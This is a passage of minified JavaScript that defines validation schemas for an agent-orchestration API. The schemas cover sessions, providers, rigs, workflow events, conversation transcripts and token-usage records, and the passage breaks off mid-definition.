Vu=g({conversation_id:i(),message_id:i(),provider:i(),session:i()}),Wu=g({role:i(),text:i(),timestamp:i().optional()}),hx=g({name:i(),path:i().optional(),ref:i().optional(),source:i().optional()});g({packs:N(hx).nullable()});const Ga=g({has_older_messages:Z(),returned_message_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),total_compactions:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),total_message_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),truncated_before_message:i().optional()}),Yv=g({agent:i(),format:i(),pagination:Ga.optional(),turns:N(Wu).nullable()});g({agent_patch:i().optional(),provider_patch:i().optional(),rig_patch:i().optional(),status:i()});g({agent_patch:i().optional(),provider_patch:i().optional(),rig_patch:i().optional(),status:i()});const Hu=g({kind:i(),metadata:fe(i(),i()).optional(),options:N(i()).nullish(),prompt:i().optional(),request_id:i()}),gx=g({Check:i().nullable(),DrainTimeout:i().nullable(),Max:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullable(),Min:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullable(),OnBoot:i().nullable(),OnDeath:i().nullable()}),yx=g({AppendFragments:N(i()).nullable(),Attach:Z().nullable(),DefaultSlingFormula:i().nullable(),DependsOn:N(i()).nullable(),Dir:i(),Env:fe(i(),i()),EnvRemove:N(i()).nullable(),HooksInstalled:Z().nullable(),IdleTimeout:i().nullable(),InjectAssignedSkills:Z().nullable(),InjectFragments:N(i()).nullable(),InjectFragmentsAppend:N(i()).nullable(),InstallAgentHooks:N(i()).nullable(),InstallAgentHooksAppend:N(i()).nullable(),Lifecycle:i().nullable(),MCP:N(i()).nullable(),MCPAppend:N(i()).nullable(),MaxActiveSessions:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullable(),MaxSessionAge:i().nullable(),MaxSessionAgeJitter:i().nullable(),MinActiveSessions:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullable(),MouseMode:i().nullable(),Name:i(),Nudge:i().nullable(),OptionDefaults:fe(i(),i()),OverlayDir:i().nullable(),Pool:gx,PreStart:N(i()).nullable(),PreStartAppend:N(i()).nullable(),PromptTemplate:i().nullable(),Provider:i().nullable(),ResumeCommand:i().nullable(),ScaleCheck:i().nullable(),Scope:i().nullable(),Session:i().nullable(),SessionLive:N(i()).nullable(),SessionLiveAppend:N(i()).nullable(),SessionSetup:N(i()).nullable(),SessionSetupAppend:N(i()).nullable(),SessionSetupScript:i().nullable(),Skills:N(i()).nullable(),SkillsAppend:N(i()).nullable(),SleepAfterIdle:i().nullable(),StartCommand:i().nullable(),Suspended:Z().nullable(),TmuxAlias:i().nullable(),WakeMode:i().nullable(),WorkDir:i().nullable()});g({items:N(yx).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const Ku=g({host:i(),port:i(),scope_kind:i(),scope_name:i(),source:i(),user:i()}),Gu=g({layer:i(),new_id:i(),old_id:i().optional(),scope_root:i(),source:i()});g({acp_args:N(i()).nullish(),acp_command:i().optional(),args:N(i()).nullish(),args_append:N(i()).nullish(),base:i().optional(),command:i().optional(),display_name:i().optional(),env:fe(i(),i()).optional(),name:i().min(1),options_schema_merge:i().optional(),prompt_flag:i().optional(),prompt_mode:i().optional(),ready_delay_ms:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});g({provider:i(),status:i()});const _x=g({choices:N(px).nullable(),default:i(),key:i(),label:i(),type:i()}),wx=g({ACPArgs:N(i()).nullable(),ACPCommand:i().nullable(),AcceptStartupDialogs:Z().nullable(),Args:N(i()).nullable(),ArgsAppend:N(i()).nullable(),Base:i().nullable(),Command:i().nullable(),Env:fe(i(),i()),EnvRemove:N(i()).nullable(),Name:i(),OptionsSchemaMerge:i().nullable(),PromptFlag:i().nullable(),PromptMode:i().nullable(),ReadyDelayMs:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullable(),Replace:Z()});g({items:N(wx).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({accept_startup_dialogs:Z().optional(),acp_args:N(i()).nullish(),acp_command:i().optional(),args:N(i()).nullish(),command:i().optional(),env:fe(i(),i()).optional(),name:i().optional(),prompt_flag:i().optional(),prompt_mode:i().optional(),ready_delay_ms:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});const Ex=g({builtin:Z(),city_level:Z(),display_name:i().optional(),effective_defaults:fe(i(),i()).optional(),name:i(),options_schema:N(_x).nullish()});g({items:N(Ex).nullable(),next_cursor:i().optional(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const xx=g({detail:i().optional(),display_name:i(),status:i()});g({providers:fe(i(),xx)});const Ix=g({acp_args:N(i()).optional(),acp_command:i().optional(),args:N(i()).nullish(),builtin:Z(),city_level:Z(),command:i().optional(),display_name:i().optional(),env:fe(i(),i()).optional(),name:i(),prompt_flag:i().optional(),prompt_mode:i().optional(),ready_delay_ms:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});g({items:N(Ix).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const Sx=g({acp_args:N(i()).optional(),acp_command:i().optional(),args:N(i()).nullish(),command:i().optional(),display_name:i().optional(),env:fe(i(),i()).optional(),prompt_flag:i().optional(),prompt_mode:i().optional(),ready_delay_ms:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});g({acp_args:N(i()).nullish(),acp_command:i().optional(),args:N(i()).nullish(),args_append:N(i()).nullish(),base:i().optional(),command:i().optional(),display_name:i().optional(),env:fe(i(),i()).optional(),options_schema_merge:i().optional(),prompt_flag:i().optional(),prompt_mode:i().optional(),ready_delay_ms:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});const kx=g({Conversation:Qt,Delivered:Z(),FailureKind:i(),MessageID:i(),Metadata:fe(i(),i()),RetryAfter:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),bx=g({detail:i().optional(),display_name:i(),kind:i(),name:i(),status:i()});g({items:fe(i(),bx)});const Ju=g({error_code:i(),error_message:i(),operation:Jt(["city.create","city.unregister","session.create","session.message","session.submit"]),request_id:i()});g({action:i(),failed:N(i()).nullish(),killed:N(i()).nullish(),rig:i(),status:i()});g({default_branch:i().optional(),name:i().min(1),path:i().min(1),prefix:i().optional()});g({rig:i(),status:i()});const zx=g({DefaultBranch:i().nullable(),FormulaVars:fe(i(),i()),Name:i(),Path:i().nullable(),Prefix:i().nullable(),Suspended:Z().nullable()});g({items:N(zx).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({default_branch:i().optional(),name:i().optional(),path:i().optional(),prefix:i().optional(),suspended:Z().optional()});const Tx=g({agent_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),default_branch:i().optional(),git:ux.optional(),last_activity:O({offset:!0}).optional(),name:i(),path:i(),prefix:i().optional(),running_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),suspended:Z()});g({items:N(Tx).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({default_branch:i().optional(),path:i().optional(),prefix:i().optional(),suspended:Z().optional()});const Qu=g({prior_archive:i(),prior_first_seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),prior_last_seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),Cx=fe(i(),Ka());g({action:i(),service:i(),status:i()});const Xv=g({activity:i()});g({messages:N(Kn()).nullable(),status:i().optional()});g({agents:N(FE).nullable()});const Yu=g({BindingGeneration:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),BoundAt:O({offset:!0}),Conversation:Qt,ExpiresAt:O({offset:!0}).nullable(),ID:i(),Metadata:fe(i(),i()),SchemaVersion:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),SessionID:i(),Status:qE});g({unbound:N(Yu).nullable()});g({items:N(Yu).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({alias:i().optional(),async:Z().optional(),kind:i().optional(),message:i().optional(),name:i().optional(),options:fe(i(),i()).optional(),project_id:i().optional(),session_name:i().optional(),title:i().optional()});const Xu=g({bead_id:i(),bead_status:i().optional(),reason:i().optional(),session_id:i(),template:i().optional()}),Rx=g({attached:Z(),last_activity:O({offset:!0}).optional(),name:i()}),Bx=g({active_bead:i().optional(),activity:i().optional(),available:Z(),context_pct:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),context_window:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),description:i().optional(),display_name:i().optional(),last_output:i().optional(),model:i().optional(),name:i(),pool:i().optional(),provider:i().optional(),rig:i().optional(),running:Z(),session:Rx.optional(),state:i(),suspended:Z(),unavailable_reason:i().optional()});g({items:N(Bx).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const gr=g({reason:i().optional(),session_id:i(),template:i().optional()});g({message:i().min(1).regex(/\S/)});const ec=g({request_id:i(),session_id:i()});g({alias:i().optional(),title:i().min(1).optional()});g({pending:Hu.optional(),supported:Z()});g({permission_mode:i().min(1).regex(/\S/)});const eh=Kn();g({title:i().min(1)});g({action:i().min(1),metadata:fe(i(),i()).optional(),request_id:i().optional(),text:i().optional()});g({id:i(),status:i()});Qn([Xv,Hu,ao]);const Px=g({format:i(),id:i(),pagination:Ga.optional(),provider:i(),template:i(),turns:N(Wu).nullable()}),Nx=g({format:i(),id:i(),messages:N(eh).nullable(),pagination:Ga.optional(),provider:i(),template:i()}),tc=g({intent:i(),queued:Z(),request_id:i(),session_id:i()});g({format:i(),id:i(),messages:N(eh).nullish(),pagination:Ga.optional(),provider:i(),template:i(),turns:N(Wu).nullish()});g({attached_bead_id:i().optional(),bead:i().optional(),force:Z().optional(),formula:i().optional(),rig:i().optional(),scope_kind:i().optional(),scope_ref:i().optional(),target:i().min(1),title:i().optional(),vars:fe(i(),i()).optional()});g({attached_bead_id:i().optional(),bead:i().optional(),formula:i().optional(),mode:i().optional(),root_bead_id:i().optional(),status:i(),target:i(),warnings:N(i()).nullish(),workflow_id:i().optional()});const Ax=g({allow_websockets:Z().optional(),hostname:i().optional(),kind:i().optional(),local_state:i(),mount_path:i(),publication_state:i(),publish_mode:i(),reason:i().optional(),service_name:i(),state:i().optional(),state_root:i(),updated_at:O({offset:!0}),url:i().optional(),visibility:i().optional(),workflow_contract:i().optional()});g({items:N(Ax).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const Ox=g({quarantined:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),running:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),suspended:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),jx=g({draining:Z().optional(),expanded:Z().optional(),group_name:i().optional(),name:i(),qualified_name:i(),running:Z(),scale_label:i().optional(),scope:i(),session_name:i().optional(),suspended:Z()}),$x=g({total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),unread:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),Lx=g({identity:i(),mode:i(),status:i()}),Dx=g({suspended:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),Mx=g({name:i(),path:i(),suspended:Z()}),Fx=g({active:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),suspended:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),Ux=g({last_gc_at:i().optional(),last_gc_status:i().optional(),live_rows:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),path:i(),ratio_mb_per_row:pr(),size_bytes:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),threshold_mb_per_row:pr(),warning:Z()}),Zx=g({in_progress:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),open:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),ready:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({agent_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),agent_details:N(jx).nullish(),agents:Ox,mail:$x,name:i(),named_session_details:N(Lx).nullish(),partial:Z().optional(),partial_errors:N(i()).nullish(),path:i(),rig_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),rig_details:N(Mx).nullish(),rigs:Dx,running:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_counts_detail:Fx.optional(),store_health:Ux.optional(),suspended:Z(),uptime_sec:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),version:i().optional(),work:Zx});const nc=g({after_bytes:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),before_bytes:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),duration_s:pr(),snapshot_path:i()}),rc=g({duration_s:pr(),error_msg:i(),snapshot_path:i().optional(),stage:i()}),qx=g({supports_follow_up:Z(),supports_interrupt_now:Z()}),th=g({active_bead:i().optional(),activity:i().optional(),agent_kind:i().optional(),alias:i().optional(),attached:Z(),configured_named_session:Z().optional(),context_pct:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),context_window:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),created_at:i(),display_name:i().optional(),id:i(),kind:i().optional(),last_active:i().optional(),last_nudge_delivered_at:i().optional(),last_output:i().optional(),metadata:fe(i(),i()).optional(),model:i().optional(),options:fe(i(),i()).optional(),pool:i().optional(),provider:i(),reason:i().optional(),rig:i().optional(),running:Z(),session_name:i(),state:i(),submission_capabilities:qx.optional(),template:i(),title:i()});g({items:N(th).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const oc=g({request_id:i(),session:th}),Vx=Jt(["default","follow_up","interrupt_now"]);g({intent:Vx.optional(),message:i().min(1).regex(/\S/)});g({items:N(VE).nullable(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const ic=g({avg60:pr(),consecutive_skips:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),max_consecutive_skips:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),outcome:i(),threshold:pr(),trigger:i().optional()}),ac=g({client_addr:i().optional(),mode:Jt(["destructive","preserve_sessions","unknown"]),signal:i().optional(),source:Jt(["signal","socket_stop"])}),Wx=g({phase:i().optional(),phases_completed:N(i()).nullish(),ready:Z()});g({build_id:i().optional(),cities_running:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),cities_total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),startup:Wx.optional(),status:i(),uptime_sec:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),version:i()});const Hx=Jt(["inbound","outbound"]),Kx=Jt(["live","hydrated"]),sc=g({Actor:qv,Attachments:N(Vv).nullable(),Conversation:Qt,CreatedAt:O({offset:!0}),ExplicitTarget:i(),ID:i(),Kind:Hx,Metadata:fe(i(),i()),Provenance:Kx,ProviderMessageID:i(),ReplyToMessageID:i(),SchemaVersion:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),Sequence:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),SourceSessionID:i(),Text:i()});g({Binding:Yu,GroupRoute:cx,Message:Wv,TargetSessionID:i(),TranscriptEntry:sc});g({items:N(sc).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({DeliveryContext:YE,Receipt:kx,TranscriptEntry:sc});const lc=g({count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i()}),uc=g({agent_name:i().optional(),bead_id:i().optional(),cache_creation_tokens:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),cache_read_tokens:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),completion_tokens:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),cost_usd_estimate:pr().optional(),delivered:Z().optional(),duration_ms:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),error:i().optional(),finished_at:O({offset:!0}),latency_ms:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),model:i().optional(),op_id:i(),operation:i(),prompt_sha:i().optional(),prompt_tokens:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),prompt_version:i().optional(),provider:i().optional(),queued:Z().optional(),result:i(),session_id:i().optional(),session_name:i().optional(),started_at:O({offset:!0}),template:i().optional(),transport:i().optional()}),nh=Qn([ui,hr,Mu,Fu,ci,Uu,Zu,qu,vt,ve,Vu,Ku,Gu,Ju,Qu,oc,Xu,gr,ec,tc,nc,rc,ic,ac,lc,uc]),Gx=g({active_attempt:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),attempt_count:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),max_attempts:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()}),rh=g({assignee:i().optional(),attempt:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),id:i(),kind:i(),logical_bead_id:i().optional(),metadata:fe(i(),i()),scope_ref:i().optional(),status:i(),step_ref:i().optional(),title:i()});g({closed:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),deleted:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),partial:Z().optional(),partial_errors:N(i()).nullish(),workflow_id:i()});const du=g({from:i(),kind:i().optional(),to:i()});g({beads:N(fr).nullable(),deps:N(du).nullable(),root:fr});const L=g({attempt_summary:Gx.optional(),bead:rh,changed_fields:N(i()).nullable(),event_seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),event_ts:i(),event_type:i(),logical_node_id:i(),requires_resync:Z().optional(),root_bead_id:i(),root_store_ref:i(),scope_kind:i(),scope_ref:i(),type:i(),watch_generation:i(),workflow_id:i(),workflow_seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});g({actor:i(),message:i().optional(),payload:nh.optional(),run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:i(),workflow:L.optional()});g({actor:i(),city:i(),message:i().optional(),payload:nh.optional(),run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:i(),workflow:L.optional()});const Jx=g({actor:i(),message:i().optional(),payload:hr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 